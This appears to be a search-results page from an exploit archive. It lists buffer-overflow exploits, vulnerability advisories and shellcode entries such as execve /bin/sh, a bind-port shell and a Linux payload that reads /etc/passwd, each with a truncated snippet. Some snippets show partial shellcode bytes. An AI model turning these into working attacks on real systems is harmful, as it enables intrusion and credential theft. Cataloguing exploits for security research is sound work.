7572 matches found
Easy File Sharing FTP Server 3.5 - Stack Buffer Overflow
No description provided by source. !/usr/bin/env python Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow Date: 27 May 2014 Exploit Author: superkojiman - http://www.techorganic.com Vulnerability discovered by: h07 CVE: CVE-2006-3952 OSVDB: 27646 Vendor Homepage:...
Solaris/SPARC 2.5.1/2.6/7/8 Derived 'login' Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/3681/info The 'login' program is used in UNIX systems to authenticate users with a username and password. The utility is typically invoked at the console, by 'telnetd', 'rlogind', and if configured to do so, SSH. Versions...
Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
No description provided by source. / Title: Linux/ARM - execve/bin/sh, 0, 0 vars - 27 bytes Date: 2010-08-31 Tested on: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan - twitter: @jonathansalwan shell-storm.org Shellcode ARM with not a 0x20, 0x0a and 0x00 Disassembly of section .text: 00008054 start...
MS Windows 2000/NT 4/XP Window Message Subsystem Design Error Vulnerability (5)
No description provided by source. source: http://www.securityfocus.com/bid/5408/info A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based...
125 bind port to 6778 XOR encoded polymorphic linux shellcode .
No description provided by source. / Title : bind port to 6678 XOR encoded polymorphic linux shellcode . Name : 125 bind port to 6678 XOR encoded polymorphic linux shellcode . Date : Tue Jul 6 01:52:33 WIT 2010 Author : gunslinger yudha.gunslingeratgmail.com Web : http://devilzc0de.org blog :...
KenWard's Zipper 1.400 - Buffer Overflow - Method 2
No description provided by source. !/usr/bin/python KenWard's Zipper v1.400 File Name Buffer Overflow Coded by sinn3r x90.sinneratgmaild0tcom Tested on: Windows XP SP3 ENG Reference: http://www.exploit-db.com/exploits/11834 Big thanks to mrme, and corelanc0d3r. greetz to all the friends at Corela...
MediaCoder 0.7.3.4605 - Local Buffer Overflow Exploit
No description provided by source. / Download: http://www.mediacoderhq.com/download.htm Compilation: mediac.c.......Win32cygwin,Devcpp Tested on Windows xp sp3 Date: 24.02.2010 1.We get control of EIP by overwriting a seh handler with pop pop retn instr and pass exception. 2.We position shellcode...
HP-UX FTPD Remote Buffer Overflow Exploit
No description provided by source. / theoretical exploit for hpux ftpd vulnerability / / not tested anywhere, needs tweaking / / c 2000 by babcia padlina ltd. [email protected] / include stdio.h include stdlib.h define NOPS 100 define BUFSIZE 1024 char shellcode = / HP-UX shellcode /...
Crob FTP Server <= 3.6.1 - Remote Stack Overflow Exploit
No description provided by source. / CrobFTP remote stack overflow PoC --------------------------------- Tested on Crob FTP Server 3.6.1, Windows XP Coded by Leon Juranic [email protected] LSS Security / http://security.lss.hr / include stdio.h include windows.h include time.h pragma comment...
Lattice Semiconductor PAC-Designer 6.21 - (.PAC) Exploit
No description provided by source. !/usr/bin/python -w ------------------------------------------------------------------------------------ Exploit: Lattice Semiconductor PAC-Designer 6.21 possibly all versions CVE: CVE-2012-2915 Author: b33f Ruben Boonen - http://www.fuzzysecurity.com/ OS: WinXP...
EZMeeting 3.x EZNet.EXE Long HTTP Request Remote Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9167/info A problem has been identified in the handling of some types of requests by the eZ package, resulting in a buffer overrun. Because of this, it may be possible for a remote attacker to execute arbitrary code and...
VCDGear <= 3.56 Build 050213 (FILE) Local Code Execution Exploit
No description provided by source. / 0day Discovered by: InTeL Auther: InTeL Attack Vector: SEH overwrite Type: Local Tested on Win2k SP4 English Software: VCDGear v3.56 build 050213 Website: www.vcdgear.com Description: VCDGear is a program designed to allow a user to extract MPEG streams from C...
Xcmail 0.99.6 Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/311/info XCmail is an X11 mail client for linux. Arthur [email protected] discovered an exploitable buffer overflow vulnerability in xcmail. The bug appears when replying to a message with a long subject line, and...
YAAP <= 1.5 __autoload() Remote File Inclusion Vulnerability
No description provided by source. -------------------------------------------------------------------------------- Script name.......:Yaap Affected Version.....:1.5 D.page..:http://yaap.oskbraniewo.pl/download/yaap15.tar.gz...
os-x/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 121 bytes
No description provided by source. / - dual.c - by [email protected] execve/bin/sh,/bin/sh,NULL,NULL shellcode for osx both the ppc and x86 version. Sample output: -nemo@squee:/shellcode$ file dual-ppc dual-ppc: Mach-O executable ppc -nemo@squee:/shellcode$ ./dual-ppc sh-2.05b$ exit...
Linux bin/cat /etc/passwd 43 bytes
No description provided by source. include stdio.h const char shellcode=\x31\xc0 // xorl %eax,%eax \x99 // cdq \x52 // push edx \x68\x2f\x63\x61\x74 // push dword 0x7461632f \x68\x2f\x62\x69\x6e // push dword 0x6e69622f \x89\xe3 // mov ebx,esp \x52 // push edx \x68\x73\x73\x77\x64 // pu sh dword...
Frisk F-Prot Antivirus 3.12 b Command Line Scanner Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6969/info Frisk's F-Prot Antivirus for Linux and BSD is prone to a buffer overflow in file name parameters that are passed to the command line scanner. If a backup script is launched by a privileged user to scan the...
RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow
No description provided by source. html object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target'/object script language='vbscript' ' Exploit Title: RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow ' Date: July 9, 2010 ' Author: Blake ' Software Link:...
SureThing CD Labeler (m3u/pls) - Unicode Stack Overflow PoC Exploit
No description provided by source. / surethingcdlabelerbofpoc.c SureThing cd labeler m3u/pls - unicode stack overflow PoC exploit Found by: Ruben Alejandro - chap0 Author: Steven Seeley - mrme http://net-ninja.net/ Greetz to: Corelan Security Team...
CdRecord Version <= 2.0 - Mandrake local root exploit
No description provided by source. !/usr/bin/perl Cdrecord version 2.0 and local root exploit. wsxz@localhost buffer$ perl priv8cdr.pl 4 Using target number 4 Using Mr .dtors 0x808c82c Cdrecord 2.0 i586-mandrake-linux-gnu scsibus: -1 target: -1 lun: -1 Warning: Open by 'devname' is unintentional...